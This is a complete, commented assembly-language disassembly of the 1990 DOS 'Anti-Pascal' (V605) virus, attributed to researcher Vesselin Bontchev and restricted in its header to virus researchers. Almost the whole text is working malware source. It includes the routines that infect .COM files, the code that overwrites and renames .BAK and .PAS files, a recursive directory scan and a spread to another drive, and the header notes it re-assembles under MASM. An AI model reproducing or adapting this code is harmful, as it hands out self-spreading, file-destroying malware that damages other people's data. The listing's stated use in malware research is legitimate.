Authorization

        page    ,132
        name    V605
        title   V605 - The 'Anti-Pascal' Virus
        .radix  16

; ЙНННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН»
; є  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 є
; є  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255        є
; є                                                                          є
; є                          The 'Anti-Pascal' Virus                         є
; є                Disassembled by Vesselin Bontchev, June 1990              є
; є                                                                          є
; є                 Copyright (c) Vesselin Bontchev 1989, 1990               є
; є                                                                          є
; є      This listing is only to be made available to virus researchers      є
; є                or software writers on a need-to-know basis.              є
; ИННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННј

; The disassembly has been tested by re-assembly using MASM 5.0.

code    segment
        assume  cs:code,ds:code

        org     100

vlen    =       v_end-start
crit    equ     12

start:
        push    ax              ; Save registers used
        push    cx
        push    si
        push    di
        push    bx
        push    flen            ; Save current file length

; The operand of the instruction above is used as a signature by the virus

sign    equ     $-2

        jmp     v_start         ; Go to virus start

flen    dw      vlen            ; File length before infection
fmask   db      '*.'            ; Mask for FindFirst/FindNext
fext    db      'com', 0        ; The extension part of the file mask
parent  db      '..', 0         ; Path for changing to the parent dir

com     db      'com'           ; File extensions used
bak     db      'bak'
pas     db      'pas'
wild    db      '???'
exe     db      'exe'

dta     equ     $               ; Disk Transfer Address area
drive   db      ?               ;Drive to search for
pattern db      11d dup (?)     ;Search pattern
reserve db      9 dup (?)       ;Not used
attrib  db      ?               ;File attribute
time    dw      ?               ;File time
date    dw      ?               ;File date
fsize   dd      ?               ;File size
namez   db      14d dup (?)     ;File name found

counter db      ?
mem_seg dw      ?               ; Segment of the allocated I/O buffer
sizehld dw      ?               ; Size holder

v_start:
        mov     counter,2       ; Set initial counter value
        mov     bx,1000         ; Shrink program memory size to 64 K
        mov     ah,4A
        int     21              ; Do it

        mov     ah,48           ; Allocate I/O buffer in memory
        mov     bx,vlen/16d+1   ;  (at least vlen long)
        int     21              ; Do it
        jc      cleanup         ; Exit on error
        mov     mem_seg,ax      ; Save the segment of the allocated memory

        mov     ax,2524         ; Set critical error handler
        mov     dx,offset int_24
        int     21              ; Do it

        mov     ah,1A           ; Set new DTA area
        mov     dx,offset dta
        int     21              ; Do it

        mov     ah,19           ; Get default drive
        int     21
        push    ax              ; Save it on stack

        call    infect          ; Proceed with infection
        jc      cleanup         ; Exit on error

        int     11              ; Put equipment bits in ax
        test    ax,1            ; Diskette drives present?
        jz      cleanup         ; Exit if not (?!)

        shl     ax,1            ; Get number of floppy disk drives
        shl     ax,1            ;  in AH (0-3 means 1-4 drives)
        and     ah,3

        add     ah,2            ; Convert the number of drives to
        mov     al,ah           ;  the range 2-5 and put it into BL
        mov     bx,ax
        xor     bh,bh

        cmp     bl,3            ; More than 2 floppy drives?
        ja      many            ; Check if the highest one is removable if so
        mov     bl,3            ; Otherwise check disk D:
many:
        mov     ax,4408         ; Check whether device is removable
        int     21
        jc      cleanup         ; Exit on error (network)
        or      ax,ax           ; Is device removable?
        jz      cleanup         ; Exit if so

        mov     dl,bl           ; Otherwise select it as default
        mov     ah,0E
        int     21              ; Do it

        call    infect          ; Proceed with this drive also

cleanup:
        pop     dx              ; Restore saved default disk from stack
        mov     ah,0E           ; Set default drive
        int     21              ; Do it

        pop     flen            ; Restore flen

        mov     es,mem_seg      ; Free allocated memory
        mov     ah,49
        int     21              ; Do it

        mov     ah,4A           ; Get all the available memory
        push    ds              ; ES := DS
        pop     es
        mov     bx,-1
        int     21              ; Do it

        mov     ah,4A           ; Assign it to the program (the initial state)
        int     21              ; Do it

        mov     dx,80           ; Restore old DTA
        mov     ah,1A
        int     21              ; Do it

        mov     ax,2524         ; Restore old critical error handler
        push    ds              ; Save DS
        lds     dx,dword ptr ds:[crit]
        int     21              ; Do it
        pop     ds              ; Restore DS

        pop     bx              ; Restore BX

        mov     ax,4F           ; Copy the program at exit_pgm into
        mov     es,ax           ;  the Intra-Aplication Communication
        xor     di,di           ;  Area (0000:04F0h)
        mov     si,offset exit_pgm
        mov     cx,pgm_end-exit_pgm     ; exit_pgm length
        cld
        rep     movsb           ; Do it
        mov     ax,ds           ; Correct the Far JMP instruction with
        stosw                   ;  the current DS value

        mov     di,offset start ; Prepare for moving vlen bytes
        mov     si,flen         ;  from file end to start
        add     si,di
        mov     cx,vlen
        push    ds              ; ES := DS
        pop     es
;       jmp     far ptr 004F:0000       ; Go to exit_pgm
        db      0EA, 0, 0, 4F, 0

exit_pgm:
        rep     movsb           ; Restore the original bytes of the file
        pop     di              ; Restore registers used
        pop     si
        pop     cx
        pop     ax
        db      0EA, 0, 1       ; JMP Far at XXXX:0100
pgm_end equ     $

lseek:
        mov     ah,42
        xor     cx,cx           ; Offset := 0
        xor     dx,dx
        int     21              ; Do it
        ret                     ; And exit

f_first:                        ; Find first file with extension pointed by SI
        mov     di,offset fext  ; Point DI at extension part of fmask
        cld                     ; Clear direction flag
        movsw                   ; Copy the extension pointed by SI
        movsb                   ;  to file mask for FindFirst/FindNext
        mov     ah,4E           ; Find first file matching fmask
        mov     cx,20           ; Normal files only
        mov     dx,offset fmask
        ret                     ; Exit

wr_body:
        mov     ax,3D02         ; Open file for reading and writing
        mov     dx,offset namez ; FIle name is in namez
        int     21              ; Do it
        mov     bx,ax           ; Save handle in BX

        mov     ah,3F           ; Read the first vlen bytes of the file
        mov     cx,vlen         ;  in the allocated memory buffer
        push    ds              ; Save DS
        mov     ds,mem_seg
        xor     dx,dx
        int     21              ; Do it

        mov     ax,ds:[sign-start]      ; Get virus signature
        pop     ds              ; Restore DS
        cmp     ax,word ptr ds:[offset sign]    ; File already infected?
        je      is_inf          ; Exit if so
        push    ax              ; Save AX
        mov     al,0            ; Lseek to the file beginning
        call    lseek           ; Do it
        mov     ah,40           ; Write virus body over the
        mov     dx,offset start ;  first bytes of the file
        mov     cx,sizehld      ; Number of bytes to write
        int     21              ; Do it

        pop     ax              ; Restore AX
        dec     counter         ; Decrement counter
        clc                     ; CF == 0 means infection successfully done
        ret                     ; Exit
is_inf:
        stc                     ; CF == 1 means file already infected
        ret                     ; Exit

destroy:
        call    f_first         ; Find first file to detroy
f_next1:
        int     21              ; Do it
        jc      no_more1        ; Exit if no more files

        mov     ax,word ptr fsize       ; Get file size
        mov     sizehld,ax      ; And save it in sizehld
        call    wr_body         ; Write virus body over the file
        jc      close1          ; Exit on error
        mov     si,offset com   ; Change fmask to '*.COM'
        call    f_first         ; Do it
        mov     ah,56           ; Rename file just destroyed as a .COM one
        mov     di,dx
        mov     dx,offset namez ; File name to rename
        int     21              ; Do it

; The RENAME function call will fall if file with this name already exists.

        jnc     close1          ; Exit if all is OK

        mov     si,offset exe   ; Otherwise try to rename the file
        call    f_first         ;  as an .EXE one
        mov     ah,56
        int     21              ; Do it

close1:
        mov     ah,3E           ; Close the file handle
        int     21              ; Do it

        cmp     counter,0       ; Two files already infected?
        je      stop            ; Stop if so
        mov     ah,4F           ; Other wise proceed with the next file
        jmp     f_next1

; Here the returned error code in CF means:
;    0 - renaming unsuccessful
;    1 - renaming successful

stop:
        clc
no_more1:
        cmc                     ; Complement CF (CF := not CF)
        ret

infect:
        mov     si,offset com   ; Find the first .COM file in this dir
        call    f_first
f_next2:
        int     21              ; Do it
        jc      do_damage       ; Do damage if no such files

        mov     ax,word ptr fsize       ; Check the size of the file found
        cmp     ax,vlen         ; Less than virus length?
        jb      close2          ; Too small, don't touch
        cmp     ax,0FFFF-vlen   ; Bigger than 64 K - vlen?
        ja      close2          ; Too big, don't touch
        mov     flen,ax         ; Save file length
        mov     sizehld,vlen
        call    wr_body         ; Write virus body over the file
        jc      close2          ; Exit on error
        cmp     ax,6F43         ; ?!
        je      close2
        mov     al,2            ; Lseek to file end
        call    lseek           ; Do it
        push    ds              ; Save DS
        mov     ds,mem_seg      ; Write the original bytes from
        mov     cx,vlen         ;  the file beginning after its end
        xor     dx,dx
        mov     ah,40
        int     21              ; Do it
        pop     ds              ; Restore DS

close2:
        mov     ah,3E           ; Close the file handle
        int     21              ; Do it

        mov     ah,4F           ; Prepare for FindNext
        cmp     counter,0       ; Two files already infected?
        jne     f_next2         ; Continue if not
        stc                     ; Otherwise set CF to indicate error
err_xit:
        ret                     ; And exit

do_damage:
        mov     si,offset bak   ; Try to "infect" and rename a .BAK file
        call    destroy         ; Do it
        jc      err_xit         ; Exit if "infection" successful
        mov     si,offset pas   ; Try to "infect" and rename a .PAS file
        call    destroy         ; Do it
        jc      err_xit         ; Exit if "infection" successful
        mov     si,offset wild  ; Otherwise perform a subdirectory scan
        call    f_first
        mov     cx,110111b      ; Find any ReadOnly/Hidden/System/Dir/Archive

f_next3:
        int     21              ; Do it
        jc      no_more2        ; Exit if no more
        mov     al,attrib       ; Check attributes of the file found
        test    al,10000b       ; Is it a directory?
        jz      bad_file        ; Skip it if not
        mov     di,offset namez ; Otherwise get its name
        cmp     byte ptr [di],'.'       ; "." or ".."?
        je      bad_file        ; Skip it if so
        mov     dx,di           ; Otherwise change to that subdirectory
        mov     ah,3Bh
        int     21              ; Do it

        mov     cx,16           ; Save the 44 bytes of dta on stack
        mov     si,offset dta   ; Point SI at the first word of dta
lp1:
        push    word ptr [si]   ; Push the current word
        add     si,2            ; Point SI at the next one
        loop    lp1             ; Loop until done

        call    infect          ; Preform infection on this subdirectory

        mov     cx,16           ; Restore the bytes pushed
        mov     si,offset counter-2     ; Point SI at the last word of dta
lp2:
        pop     word ptr [si]   ; Pop the current word from stack
        sub     si,2            ; Point SI at the previous word
        loop    lp2             ; Loop until done

        pushf                   ; Save flags
        mov     dx,offset parent
        mov     ah,3Bh          ; Change to parent directory
        int     21              ; Do it
        popf                    ; Restore flags
        jc      err_xit         ; Exit if infection done

bad_file:
        mov     ah,4F           ; Go find the next file
        jmp     f_next3

no_more2:
        clc                     ; Return CF == 0 (no errors)
        ret                     ; Exit

int_24:                         ; Critical error handler
        mov     al,2            ; Abort suggested (?!)
        iret                    ; Return

v_end   =       $

; Here goes the rest of the original program (if any):

; And here (after the  end of file) are the overwritten first 650 bytes:

        db      0E9, 55, 2
        db      597d dup (90)
        mov     ax,4C00         ; Program terminate
        int     21

code    ends
        end     start